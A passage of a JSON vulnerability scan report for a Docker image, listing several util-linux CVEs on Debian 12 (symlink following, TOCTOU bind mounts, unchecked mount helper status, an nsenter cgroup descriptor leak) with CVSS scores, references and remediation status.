"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"e2fsprogs/e2fsprogs@1.47.0-2+b2",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"e2fsprogs/e2fsprogs@1.47.0-2+b2",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libmount1@2.38.1-5+deb12u3",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libmount1@2.38.1-5+deb12u3",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libmount1@2.38.1-5+deb12u3",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
